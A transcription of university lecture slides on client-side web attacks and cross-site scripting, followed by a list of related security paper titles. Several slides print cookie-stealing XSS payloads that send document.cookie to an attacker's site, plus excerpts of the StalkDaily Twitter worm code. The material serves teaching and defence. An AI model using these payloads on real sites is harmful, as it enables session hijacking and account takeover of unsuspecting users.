Attacks on Clients: Dynamic Content & XSS
|
|
|
- Loreen Hicks
- 8 years ago
- Views:
Transcription
1 Software and Web Security 2 Attacks on Clients: Dynamic Content & XSS (Section on JavaScript; on Media content; on XSS) sws2 1
2 Recap from last lecture Attacks on web server: attacker/client sends malicious input to server with the goal to do some damage... malicious input execution to dynamically create a webpage web server sws2 2
3 Recap from last lecture Dynamically created webpages & injection attacks another user of the same website (discussed in this lecture) malicious input web server OS data base file system sws2 3
4 Attacks on client Client, ie web browser, can be attacked by malicious input Even the human user can be attacked: recall URL obfuscation. web browser web server sws2 4
5 Example client side problem sws2 5
6 Browser bugs The web browser get untrusted input from the server. Bugs in the browser can become exploitable vulnerabilities also bugs in browser add-ons, or other helper applications Classic Denial of Service (DoS) example: IE image crash. An image with huge size could crash Internet Explorer and freeze Windows machine <HTML><BODY> <img src= a.jpg width = height= > </BODY><HTML> Things get more interesting as processing in the browser gets more powerful, and languages involved are more complex sws2 6
7 More dangerous browser bugs Denial of Service bugs are the least of your worries... Possibility of drive-by-downloads where just visiting a webpage can install malware, by exploiting security holes in browser, graphics libraries, media players,... Homework exercise: check securityfocus.com for security vulnerabilities for your favourite web browser sws2 7
8 Dynamic webpages (Sect & in book) sws2 8
9 Recall: dynamic webpages Most web pages do not just contain static HTML, but are dynamic: ie they contain executable content. This is an interesting attack vector. execution aka processing client-side scripting web browser web server sws2 9
10 Dynamic Content Languages for dynamic content: JavaScript Flash, Silverlight,... ActiveX Java... JavaScript is by far the most widespread of these technologies: nearly all web pages include JavaScript CSS Cascading Style Sheets defines layout of headers, links, etc; not quite execution, but can be abused, and can contain JavaScript sws2 10
11 Controlling Dynamic Content (7.2.4) Executing dynamic content can be controlled inside a sandbox NB the sandbox is made from software if there are security vulnerabilities in this software, all bets are off, and attacker might escape... sws2 11
12 ActiveX controls vs Java applets Windows only technology, runs in Internet Explorer (IE). binary code executed on behalf of the browser. can access user files support for signed code plus Microsoft OS update can set kill bit to stop dangerous controls an installed control can be run from any website (up to IE7) IE configuration options allow, block, prompt also control by administrator platform independent downside: OS patching might miss Java patching bytecode executed on virtual machine within browser binary code is for specific machine, byte code is interpreted by virtual machine restrictive sandbox support for signed code What is the Kill-Bit? Kill-Bit (or killbit) is not actually a bit Kill-Bit is a registry entry for a particular ActiveX control, marking it as sandboxing non-loadable configuration in browser Microsoft releases Kill-Bits in security updates to block vulnerable ActiveX controls applet only runs on site where it is embedded sws2 12
13 JavaScript & the DOM (Sect 7.1.3) sws2 13
14 JavaScript JavaScript is the leading language used in client-side scripting embedded in web page to support client-side dynamic behaviour ie. executed in user's webbrowser reacting on events (eg keyboard) and interacting with webpage developed by Netscape, later standardised by ECMA JavaScript has NOTHING to do with Java typical uses: dynamic user interaction with the web page Eg opening and closing menus, changing pictures,... JavaScript code can completely rewrite the contents of an HTML page! client-side input validation Eg has the user entered a correct date, a syntactically correct address or credit card number, or a strong enough password? NB such validation should not be security critical! Why? Malicious client can by-pass such validation! sws2 14
15 JavaScript (Sect in book) scripting language interpreted by browser, with code in the HTML <script type= text/javascript >... </script> optional, default is javascript Built-in functions eg to change content of the window <script> alert( Hello World! ); </script> A web page can define additional functions <script>function hi(){alert( Hello World! );}</script> built-in event handlers for reacting to user actions <img src= pic.jpg onmouseover= javascript:hi() > Some examples in sws2 15
16 DOM (Document Object Model) DOM is representation of the content of a webpage, in OO style Webpage is an object document with sub-objects, such as document.url, document.referrer, document.cookie, sws2 16
17 DOM (Document Object Model) JavaScript can interact with the DOM to access or change parts of the current webpage incl. text, URL, cookies,... This gives JavaScript its real power! Eg it allows scripts to change layout and content of the webpage, open and menus in the webpage,... See for some examples sws2 17
18 Security features The user environment is protected from malicious JavaScript programs by a sand-boxing environment inside browser JavaScript programs are protected from each other by compartementalisation Same-Origin-Policy: code can only access resources with the same origin site (more on that later) As we will see, such protection has its limits... sws2 18
19 Recipe for security disasters? In a web browser we have classic ingredients for disaster untrusted executable content, coming from all over the web JavaScript (also Flash, Active X, Java) confidential information usernames, passwords, cookies, credit card numbers, content of s, any information entered in web forms,... sensitive functionality ability to , tweet, buy things, pay for things, Unfortunately, JavaScript is so widely used that turning it off is not an option Web-browser has become attractive place to attack sws2 19
20 HTML injection & XSS sws2 20
21 sos Search No matches found for sos sws2 21
22 <h1>sos</h1> Search No matches found for sos sws2 22
23 What proper input validation should produce <h1>sos</h1> Search No matches found for sos or <h1>sos</h1> Search No matches found for <h1>sos</h1> Here < and > written as < and > in the HTML source sws2 23
24 What can happen if we enter more complicated HTML code as search term? <img source= <img source= Search No matches found for sws2 24
25 What can happen if we enter more complicated HTML code as search term? <script language= text/javascript"> </script> alert( Hello World!'); <script langu Search No matches found for Here we entered executable code JavaScript Such HTML injection is called Cross Site Scripting (XSS) sws2 25
26 HTML injection HTML injection: user input is echoed back to the client without validation or escaping But why is this a security problem? 1 simple HTML injection attacker can deface a webpage, with pop-ups, ads, or fake info <h1>obama sends US troops to Kiev</h1> <img=...> Such HTML injections abuses trust that a user has in a website: the user believes the content is from the website, when in fact it comes from an attacker 2 XSS the injected HTML contains executable content, typically JavaScript Execution of this code can have all sorts of nasty effects... sws2 26
27 XSS (Cross Site Scripting) Attacker inject scripts into a website, such that scripts are passed on to a victim scripts are executed in the victim s browser with the victim s access rights with the victim s data incl. cookies interacting with the user, with the webpage (using the DOM), causing new HTTP requests,... Usually injected scripts are JavaScript, but could be Flash, ActiveX, Java,... sws2 27
28 Simple HTML injection browser malicious output web server sws2 28
29 XSS processing of malicious scripts malicious output incl. scripts browser web server unwanted requests another web server sws2 29
30 Stealing cookies with XSS Consider window.open( + document.cookie)</script> What if user clicks on this link? 1. browser goes to 2. website victim.com returns <HTML> Results for <script>...</script> </HTML> 3. browser executes script and sends mafia his cookie sws2 30
31 Stealing cookies using XSS More stealthy way of stealing cookies <script> img = new Image(); img.src = + </script> encodeuri(document.cookie) Better because the user won t notice a change in the webpage when this script is executed, unlike the one on the previous page sws2 31
32 Stealing cookies using XSS Or invisible iframe <iframe frameborder=0 src= height=0 width=0 id= XSS name= XSS ></iframe> <script> frames[ XSS ].location.href= + document.cookie; </script> sws2 32
33 Delivery mechanism for XSS Different ways for an attacker to get scripts on to the victim s browsers 1. Reflected XSS (aka non-persistent XSS) 2. Stored XSS (aka persistent XSS) 3. DOM based XSS sws2 33
34 Scenario 1: reflected XSS attack Attacker crafts a special URL for a vulnerable web site, often a URL containing JavaScript Attacker then tempts victim to click on this link by sending an that includes the link, or posting this link on a website sws2 34
35 Reflected aka non-persistent XSS malicious URL web server HTML containing malicious output sws2 35
36 Example of reflected XSS attack Web Server Attacker User 3. XSS Attack 7. Browser runs injected code; attacker obtains cookie 4. User clicks on XSS link sws2 36
37 Variant of reflected XSS: exploiting browser bug/feature Make someone click on <a href= <script> document.location=' + document.cookie </script> >Click here for your free prize!</a> Then trusted.com will produce error message to browser due to malformed HTML: missing <a which may include the script which the browser may then execute! sws2 37
38 Scenario 2: stored XSS attack Attacker injects HTML - incl. scripts - into a web site, which is stored at that web site This is echoed back later when victim visit the same site Typical examples where attacker can try this some web forum a book review on amazon.com a posting on blackboard.ru.nl... Web2.0 web sites, which allow user-generated content, are ideal for this. sws2 38
39 Stored aka persistent XSS attacker storing malicious content on website malicious input web server data base HTML containing malicious output another user of the same website sws2 39
40 Scenario 3: DOM based attack Attacker injects malicious content into a webpage via existing scripts in that webpage that interact with the DOM Eg, the javascript code <script> var pos=document.url.indexof("name=")+5; document.write(document.url.substring(pos,document.url.length)); </script> in webpage will copy name parameter from URL into that webpage Eg, for it will return Jan But what if the URL contains javascript in the name? eg An attacker can now use a malicious URL, as in a reflected attack sws2 40
41 Scenario 3: DOM based attack The injected payload can for instance be in the URL Details depend on the browser eg. browser may encode < and > in URL A good web application might spot a malicious URL but...the server may be by-passed and never get to see the malicious payload! Part of the URL after # is not sent to bla.com, but is part of document.url So server-side validation can t help... sws2 41
42 XSS vulnerability on twitter sws2 42
43 Example: persistent XSS attack on Google docs save as CSV file in spreadsheets.google.com some web browsers render this content as HTML, and execute the script! this then allows attacks on gmail.com, docs.google.com, code.google.com,.. because these all share the same cookie Is this the browser s fault, or the web-site s (ie google docs) fault? sws2 43
44 Included in twitter profile: Twitter StalkDaily worm <a href=" src=" >... where attack.js includes the following attack code var update = urlencode("hey everyone, join var ajaxconn = new XHConn();... ajaxconn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+ &tab=home&update=update"); var set = urlencode(' src=" </script><script src=" '); ajaxconn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+set+ &tab=home&update=update"); executed when you see this profile tweet the link change profile to include the attack code! sws2 44
45 Same-Origin-Policy sws2 45
46 Same-Origin-Policy (SOP) Same-Origin-Policy intended to prevent attack from a malicious website on other web pages a user is interacting with client browser twitter.com mafia.com sws2 46
47 Same-Origin-Policy (SOP) Same-Origin-Policy intended to prevent attack from a malicious website on other web pages a user is interacting with Basic idea Scripts can only access information with same origin where origin is triple <URI scheme, address, port> eg <http, ru.nl, 80>, <https, ru.nl, 1080> HTML content belongs to origin where it was downloaded Scripts included in a HTML document have the origin of that document including them rationale: author of HTML page should know that scripts he includes are harmless See demos in and sws2 47
48 Will SOP prevent cookie stealing? Suppose attacker injects cookie stealing script in blackboard.ru.nl Will the SOP prevent this script from accessing cookie? No! Scripts include in blackboard.ru.nl will have access to the cookie of that domain. Even if the scipt is included via a link, such as <script src= > sws2 48
49 Circumventing the Same-Origin-Policy user s browser can t distinguish between good & bad scripts attacker uploads malicious content client browser attacker browser twitter.com mafia.com sws2 49
50 Countermeasures against XSS sws2 50
51 Recap XSS involves attacker getting malicious (java)scripts in victim s browser, so that they are executed in the victim s browser with the victim s rights in the context of a web page from the attacked site typical example: trying to steal cookies XSS is a special form of HTML injection the attacker injects HTML that happens to include scripts reflected or stored attack, or injected via DOM Same-Origin-Policy does not prevent this sws2 51
52 HTML injection vs SQL injection Common theme: attacker injects malicious data with special meaning, using special characters or words using ;... in SQL using <img> <script>... in HTML which gets interpreted to have harmful consequence Difference: SQL injection is a server-side problem only HTML injection or XSS is client-side problem, but also a server-side problem, esp. in the case of stored/persistent XSS hence: not so clear who should or could solve the problem: the browser or the server? sws2 52
53 Input vs output problems? Is XSS due to lack of input validation or a lack of output validation 1. for reflected XSS attack? 2. for stored XSS attack? Should we do input validation or output validation to prevent XSS? Should the web browser or the server do this? Why not both? sws2 53
54 Client-side countermeasures Most browsers can block pop-up windows & multiple alerts Browser can disable scripts on a per-domain basis disallowing all script except those permitted by user disallowing all scripts on a public blacklist For example, NoScript extension of Firefox NotScripts and ScriptSafe extension of Chrome Browser can sanitize outgoing content in HTTP requests of GET/POST parameters, URL, referred header,.. Does not help with stored XSS. Why? Ad-blocker plugins can also reduce the risk of XSS sws2 54
55 Server-side countermeasures Server should validate (escape) HTML tags in content This could be done for inputs entering the web application, eg using a web application firewall could be used or when data exiting the web application to be stored in database This could also be done when data enters the web application from the database Prevent cookie stealing by using tagged cookies include IP address in cookie only allow access to original IP address that cookie was created for sws2 55
56 XSS attacker tricks How does attacker send information to herself? E.g. by changing the source of an image document.images[0].src= + document.cookie; How much code can attacker inject? We re on the web! Attacker can use a URLs to download scripts document.scripts(0).src =" Form redirecting: an XSS script can redirect the target of a form to steal the form values (e.g., passwords) What if a web application does not allow use of /? var n = new RegExp( http: myserver evilscr.js ); forslash = location.href.charat(6);... sws2 56
A Tale of the Weaknesses of Current Client-Side XSS Filtering
Call To Arms: A Tale of the Weaknesses of Current Client-Side XSS Filtering Martin Johns, Ben Stock, Sebastian Lekies About us Martin Johns, Ben Stock, Sebastian Lekies Security Researchers at SAP, Uni
Web-Application Security
Web-Application Security Kristian Beilke Arbeitsgruppe Sichere Identität Fachbereich Mathematik und Informatik Freie Universität Berlin 29. Juni 2011 Overview Web Applications SQL Injection XSS Bad Practice
Universal XSS via IE8s XSS Filters
Universal XSS via IE8s XSS Filters the sordid tale of a wayward hash sign slides: http://p42.us/ie8xss/ About Us Eduardo Vela Nava aka sirdarckcat http://sirdarckcat.net http://twitter.com/sirdarckcat
A Tale of the Weaknesses of Current Client-side XSS Filtering
A Tale of the Weaknesses of Current Client-side XSS Filtering Sebastian Lekies (@sebastianlekies), Ben Stock (@kcotsneb) and Martin Johns (@datenkeller) Attention hackers! These slides are preliminary!
JavaScript By: A. Mousavi & P. Broomhead SERG, School of Engineering Design, Brunel University, UK
Programming for Digital Media EE1707 JavaScript By: A. Mousavi & P. Broomhead SERG, School of Engineering Design, Brunel University, UK 1 References and Sources 1. DOM Scripting, Web Design with JavaScript
Project 2: Web Security Pitfalls
EECS 388 September 19, 2014 Intro to Computer Security Project 2: Web Security Pitfalls Project 2: Web Security Pitfalls This project is due on Thursday, October 9 at 6 p.m. and counts for 8% of your course
Cross Site Scripting Prevention
Project Report CS 649 : Network Security Cross Site Scripting Prevention Under Guidance of Prof. Bernard Menezes Submitted By Neelamadhav (09305045) Raju Chinthala (09305056) Kiran Akipogu (09305074) Vijaya
Cross-Site Scripting
Cross-Site Scripting (XSS) Computer and Network Security Seminar Fabrice Bodmer (fabrice.bodmer@unifr.ch) UNIFR - Winter Semester 2006-2007 XSS: Table of contents What is Cross-Site Scripting (XSS)? Some
Detecting and Exploiting XSS with Xenotix XSS Exploit Framework
Detecting and Exploiting XSS with Xenotix XSS Exploit Framework ajin25@gmail.com keralacyberforce.in Introduction Cross Site Scripting or XSS vulnerabilities have been reported and exploited since 1990s.
Preparing for the Cross Site Request Forgery Defense
Preparing for the Cross Site Request Forgery Defense Chuck Willis chuck.willis@mandiant.com Black Hat DC 2008 February 20, 2008 About Me Principal Consultant with MANDIANT in Alexandria, VA Full spectrum
Analysis of Browser Defenses against XSS Attack Vectors
Analysis of Browser Defenses against XSS Attack Vectors Shital Dhamal Department of Computer Engineering Lokmanya Tilak College of Engineering Koparkhairne,Navi Mumbai,Maharashtra,India Manisha Mathur
Web Application Exploits
Monday, November 10, 2014 Resources: see final slide CS342 Computer Security Department of Computer Science Wellesley College Web Evolution o Static content: Server serves web pages created by people.
What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)
Security What about MongoDB? Even though MongoDB doesn t use SQL, it can be vulnerable to injection attacks db.collection.find( {active: true, $where: function() { return obj.credits - obj.debits < req.body.input;
Phishing by data URI
Phishing by data URI Henning Klevjer henning@klevjers.com October 22, 2012 1 Abstract Historically, phishing web pages have been hosted by web servers that are either compromised or owned by the attacker.
Web Application Security
Web Application Security John Zaharopoulos ITS - Security 10/9/2012 1 Web App Security Trends Web 2.0 Dynamic Webpages Growth of Ajax / Client side Javascript Hardening of OSes Secure by default Auto-patching
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications Slides by Connor Schnaith Cross-Site Request Forgery One-click attack, session riding Recorded since 2001 Fourth out of top 25 most
AMIT KLEIN, FORMER DIRECTOR OF SECURITY AND RESEARCH, SANCTUM
AMIT KLEIN, FORMER DIRECTOR OF SECURITY AND RESEARCH, SANCTUM A whitepaper from Watchfire TABLE OF CONTENTS Introduction 1 Full Explanation The XSS Technique. 1 Scope and Feasibility.. 3 Variations on
Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense
Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense Yacin Nadji Illinois Institute Of Technology Prateek Saxena UC Berkeley Dawn Song UC Berkeley 1 A Cross-Site Scripting Attack
Security Model for the Client-Side Web Application Environments
Security Model for the Client-Side Web Application Environments May 24, 2007 Sachiko Yoshihama, Naohiko Uramoto, Satoshi Makino, Ai Ishida, Shinya Kawanaka, and Frederik De Keukelaere IBM Tokyo Research
Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011 Agenda Evolving Threats Operating System Application User Generated Content JPL s Application Security Program Securing
Defending against XSS,CSRF, and Clickjacking David Bishop
Defending against XSS,CSRF, and Clickjacking David Bishop University of Tennessee Chattanooga ABSTRACT Whenever a person visits a website, they are running the risk of falling prey to multiple types of
Finding XSS in Real World
Finding XSS in Real World by Alexander Korznikov nopernik@gmail.com 1 April 2015 Hi there, in this tutorial, I will try to explain how to find XSS in real world, using some interesting techniques. All
Complete Cross-site Scripting Walkthrough
Complete Cross-site Scripting Walkthrough Author : Ahmed Elhady Mohamed Email : ahmed.elhady.mohamed@gmail.com website: www.infosec4all.tk blog : www.1nfosec4all.blogspot.com/ [+] Introduction wikipedia
Relax Everybody: HTML5 Is Securer Than You Think
Relax Everybody: HTML5 Is Securer Than You Think Martin Johns (@datenkeller) SAP AG Session ID: ADS-W08 Session Classification: Advanced Motivation For some reason, there is a preconception that HTML5
Next Generation Clickjacking
Next Generation Clickjacking New attacks against framed web pages Black Hat Europe, 14 th April 2010 Paul Stone paul.stone@contextis.co.uk Coming Up Quick Introduction to Clickjacking Four New Cross-Browser
Network Security Web Security
Network Security Web Security Anna Sperotto, Ramin Sadre Design and Analysis of Communication Systems Group University of Twente, 2012 Cross Site Scripting Cross Side Scripting (XSS) XSS is a case of (HTML)
Intrusion detection for web applications
Intrusion detection for web applications Intrusion detection for web applications Łukasz Pilorz Application Security Team, Allegro.pl Reasons for using IDS solutions known weaknesses and vulnerabilities
XSS Lightsabre techniques. using Hackvertor
XSS Lightsabre techniques using Hackvertor What is Hackvertor? Tag based conversion tool Javascript property checker Javascript/HTML execution DOM browser Saves you writing code Free and no ads! Whoo hoo!
ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young
ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke
EVALUATING COMMERCIAL WEB APPLICATION SECURITY By Aaron Parke Outline Project background What and why? Targeted sites Testing process Burp s findings Technical talk My findings and thoughts Questions Project
Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference
Cracking the Perimeter via Web Application Hacking Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference About 403 Labs 403 Labs is a full-service information security and compliance
Security starts in the head(er)
Security starts in the head(er) JavaOne 2014 Dominik Schadow bridgingit Policies are independent of framework and language response.addheader(! "Policy name",! "Policy value"! ); User agent must understand
Acunetix Website Audit. 5 November, 2014. Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build 20120808)
Acunetix Website Audit 5 November, 2014 Developer Report Generated by Acunetix WVS Reporter (v8.0 Build 20120808) Scan of http://filesbi.go.id:80/ Scan details Scan information Starttime 05/11/2014 14:44:06
Gateway Apps - Security Summary SECURITY SUMMARY
Gateway Apps - Security Summary SECURITY SUMMARY 27/02/2015 Document Status Title Harmony Security summary Author(s) Yabing Li Version V1.0 Status draft Change Record Date Author Version Change reference
Web Application Hacking (Penetration Testing) 5-day Hands-On Course
Web Application Hacking (Penetration Testing) 5-day Hands-On Course Web Application Hacking (Penetration Testing) 5-day Hands-On Course Course Description Our web sites are under attack on a daily basis
Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek (cjjarabe@ucalgary.ca)
Bug Report Date: March 19, 2011 Reporter: Chris Jarabek (cjjarabe@ucalgary.ca) Software: Kimai Version: 0.9.1.1205 Website: http://www.kimai.org Description: Kimai is a web based time-tracking application.
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities Thomas Moyer Spring 2010 1 Web Applications What has changed with web applications? Traditional applications
Cross Site Scripting in Joomla Acajoom Component
Whitepaper Cross Site Scripting in Joomla Acajoom Component Vandan Joshi December 2011 TABLE OF CONTENTS Abstract... 3 Introduction... 3 A Likely Scenario... 5 The Exploit... 9 The Impact... 12 Recommended
Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011
Cross Site Scripting (XSS) and PHP Security Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011 What Is Cross Site Scripting? Injecting Scripts Into Otherwise Benign and Trusted Browser Rendered
Uploaded images filter evasion for carrying out XSS attacks
February 25, 2007 Uploaded images filter evasion for carrying out XSS attacks Digitаl Security Research Group (DSecRG) Alexander Polyakov a.polyakov@dsec.ru http://dsecrg.ru Table of contents Introduction...3
Understanding Cross Site Scripting
Understanding Cross Site Scripting Hardik Shah Understanding cross site scripting attacks Introduction: there are many techniques which a intruder can use to compromise the webapplications. one such techniques
Protection, Usability and Improvements in Reflected XSS Filters
Protection, Usability and Improvements in Reflected XSS Filters Riccardo Pelizzi System Security Lab Department of Computer Science Stony Brook University May 2, 2012 1 / 19 Riccardo Pelizzi Improvements
Check list for web developers
Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation
SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER
SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER XSS-BASED ABUSE OF BROWSER PASSWORD MANAGERS Ben Stock, Martin Johns, Sebastian Lekies Browser choices Full disclosure: Ben was an intern with Microsoft
Advanced Web Technology 10) XSS, CSRF and SQL Injection 2
Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 Table of Contents Cross Site Request Forgery - CSRF Presentation
Blackbox Reversing of XSS Filters
Blackbox Reversing of XSS Filters Alexander Sotirov alex@sotirov.net Introduction Web applications are the future Reversing web apps blackbox reversing very different environment and tools Cross-site scripting
Security features of ZK Framework
1 Security features of ZK Framework This document provides a brief overview of security concerns related to JavaScript powered enterprise web application in general and how ZK built-in features secures
Recommended Practice Case Study: Cross-Site Scripting. February 2007
Recommended Practice Case Study: Cross-Site Scripting February 2007 iii ACKNOWLEDGEMENT This document was developed for the U.S. Department of Homeland Security to provide guidance for control system cyber
Where every interaction matters.
Where every interaction matters. Peer 1 Vigilant Web Application Firewall Powered by Alert Logic The Open Web Application Security Project (OWASP) Top Ten Web Security Risks and Countermeasures White Paper
Application security testing: Protecting your application and data
E-Book Application security testing: Protecting your application and data Application security testing is critical in ensuring your data and application is safe from security attack. This ebook offers
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions jburroughs@uk.ibm.com Agenda Current State of Web Application Security Understanding
Short notes on webpage programming languages
Short notes on webpage programming languages What is HTML? HTML is a language for describing web pages. HTML stands for Hyper Text Markup Language HTML is a markup language A markup language is a set of
Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure
Vulnerabilities, Weakness and Countermeasures Massimo Cotelli CISSP Secure : Goal of This Talk Security awareness purpose Know the Web Application vulnerabilities Understand the impacts and consequences
RIA SECURITY TECHNOLOGY
RIA SECURITY TECHNOLOGY Ulysses Wang Security Researcher, Websense Hermes Li Security Researcher, Websense 2009 Websense, Inc. All rights reserved. Agenda RIA Introduction Flash Security Attack Vectors
WEB ATTACKS AND COUNTERMEASURES
WEB ATTACKS AND COUNTERMEASURES February 2008 The Government of the Hong Kong Special Administrative Region The contents of this document remain the property of, and may not be reproduced in whole or in
Cyber Security Workshop Ethical Web Hacking
Cyber Security Workshop Ethical Web Hacking May 2015 Setting up WebGoat and Burp Suite Hacking Challenges in WebGoat Concepts in Web Technologies and Ethical Hacking 1 P a g e Downloading WebGoat and Burp
Advanced XSS. Nicolas Golubovic
Advanced XSS Nicolas Golubovic Image courtesy of chanpipat / FreeDigitalPhotos.net Today's menu 1. Starter: reboiled XSS 2. Course: spicy blacklists & filters 3. Course: sweet content sniffing 4. Course:
HOD of Dept. of CSE & IT. Asst. Prof., Dept. Of CSE AIET, Lko, India. AIET, Lko, India
Volume 5, Issue 12, December 2015 ISSN: 2277 128X International Journal of Advanced Research in Computer Science and Software Engineering Research Paper Available online at: www.ijarcsse.com Investigation
Penetration Test Report
Penetration Test Report Acme Test Company ACMEIT System 26 th November 2010 Executive Summary Info-Assure Ltd was engaged by Acme Test Company to perform an IT Health Check (ITHC) on the ACMEIT System
Are AJAX Applications Vulnerable to Hack Attacks?
Are AJAX Applications Vulnerable to Hack Attacks? The importance of Securing AJAX Web Applications This paper reviews AJAX technologies with specific reference to JavaScript and briefly documents the kinds
Client-Side Cross-Site Scripting Protection
Client-Side Cross-Site Scripting Protection Engin Kirda, Nenad Jovanovic, Christopher Kruegel, and Giovanni Vigna Institute Eurecom kirda@eurecom.fr Secure Systems Lab Technical University Vienna enji@seclab.tuwien.ac.at
Web Tracking for You. Gregory Fleischer
Web Tracking for You Gregory Fleischer 1 INTRODUCTION 2 Me Gregory Fleischer Senior Security Consultant at FishNet Security 3 Disclaimer Why do you hate? 4 Reasons For Tracking TradiFonal reasons for tracking
Security Research Advisory IBM inotes 9 Active Content Filtering Bypass
Security Research Advisory IBM inotes 9 Active Content Filtering Bypass Table of Contents SUMMARY 3 VULNERABILITY DETAILS 3 TECHNICAL DETAILS 4 LEGAL NOTICES 7 Active Content Filtering Bypass Advisory
Sitefinity Security and Best Practices
Sitefinity Security and Best Practices Table of Contents Overview The Ten Most Critical Web Application Security Risks Injection Cross-Site-Scripting (XSS) Broken Authentication and Session Management
External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION
External Vulnerability Assessment -Technical Summary- Prepared for: ABC ORGANIZATI On March 9, 2008 Prepared by: AOS Security Solutions 1 of 13 Table of Contents Executive Summary... 3 Discovered Security
How To Understand The History Of The Web (Web)
(World Wide) Web WWW A way to connect computers that provide information (servers) with computers that ask for it (clients like you and me) uses the Internet, but it's not the same as the Internet URL
Webapps Vulnerability Report
Tuesday, May 1, 2012 Webapps Vulnerability Report Introduction This report provides detailed information of every vulnerability that was found and successfully exploited by CORE Impact Professional during
Web Application Worms & Browser Insecurity
Web Application Worms & Browser Insecurity Mike Shema Welcome Background Hacking Exposed: Web Applications The Anti-Hacker Toolkit Hack Notes: Web Security Currently working at Qualys
Web Application Guidelines
Web Application Guidelines Web applications have become one of the most important topics in the security field. This is for several reasons: It can be simple for anyone to create working code without security
Example. Represent this as XML
Example INF 221 program class INF 133 quiz Assignment Represent this as XML JSON There is not an absolutely correct answer to how to interpret this tree in the respective languages. There are multiple
WEB SECURITY. Oriana Kondakciu 0054118 Software Engineering 4C03 Project
WEB SECURITY Oriana Kondakciu 0054118 Software Engineering 4C03 Project The Internet is a collection of networks, in which the web servers construct autonomous systems. The data routing infrastructure
SQL INJECTION IN MYSQL
SQL INJECTION IN MYSQL WHAT IS SQL? SQL (pronounced "ess-que-el") stands for Structured Query Language. SQL is used to communicate with a database. extracted from http://www.sqlcourse.com/intro.html SELECT
Exploits: XSS, SQLI, Buffer Overflow
Exploits: XSS, SQLI, Buffer Overflow These vulnerabilities continue to result in many active exploits. XSS Cross Site Scripting, comparable to XSRF, Cross Site Request Forgery. These vulnerabilities are
HTTPParameter Pollution. ChrysostomosDaniel
HTTPParameter Pollution ChrysostomosDaniel Introduction Nowadays, many components from web applications are commonly run on the user s computer (such as Javascript), and not just on the application s provider
DNS REBINDING DENIS BARANOV, POSITIVE TECHNOLOGIES
DNS REBINDING DENIS BARANOV, POSITIVE TECHNOLOGIES TABLE OF CONTENTS 1 Bypassing The Restrictions 3 2 Putting It into Practice 5 3 Actual Load 7 4 Detection Of The Application Version 5 Guessing A/The
CS 6262 - Network Security: Web Security
CS 6262 - Network Security: Web Security Professor Patrick Traynor 4/9/2013 C Reminders Need a study group for the final? Meet after class, or use Piazza to organize a meeting! Final posters for DL students:
JavaScript Security. John Graham Cumming
JavaScript Security John Graham Cumming Living in a powder keg and giving off sparks JavaScript security is a mess The security model is outdated Key examples AGacking DNS to agack JavaScript What are
Thomas Röthlisberger IT Security Analyst thomas.roethlisberger@csnc.ch
Thomas Röthlisberger IT Security Analyst thomas.roethlisberger@csnc.ch Compass Security AG Werkstrasse 20 Postfach 2038 CH-8645 Jona Tel +41 55 214 41 60 Fax +41 55 214 41 61 team@csnc.ch www.csnc.ch What
Javascript Security, XSS, and Uncovered Topics. Pat Morin COMP 2405
Javascript Security, XSS, and Uncovered Topics Pat Morin COMP 2405 Contents The Javascript same origin policy Cross-site scripting Pure Javascript exploits Other topics 2 The JavaScript Same Origin Policy
Adding Value to Automated Web Scans. Burp Suite and Beyond
Adding Value to Automated Web Scans Burp Suite and Beyond Automated Scanning vs Manual Tes;ng Manual Tes;ng Tools/Suites At MSU - QualysGuard WAS & Burp Suite Automated Scanning - iden;fy acack surface
Bypassing NoScript Security Suite Using Cross-Site Scripting and MITM Attacks
Bypassing NoScript Security Suite March 2016 Mazin Ahmed mazin@mazinahmed.net @mazen160 Table of Contents Abstract... 3 Introduction... 3 Research... 4 Solution... 7 Recommendations... 7 Notes... 7 Disclosure
Institutionen för datavetenskap
Institutionen för datavetenskap Department of Computer and Information Science Final thesis Generating web applications containing XSS and CSRF vulnerabilities by Gustav Ahlberg LIU-IDA/LITH-EX-A--14/054--SE
EVADING ALL WEB-APPLICATION FIREWALLS XSS FILTERS
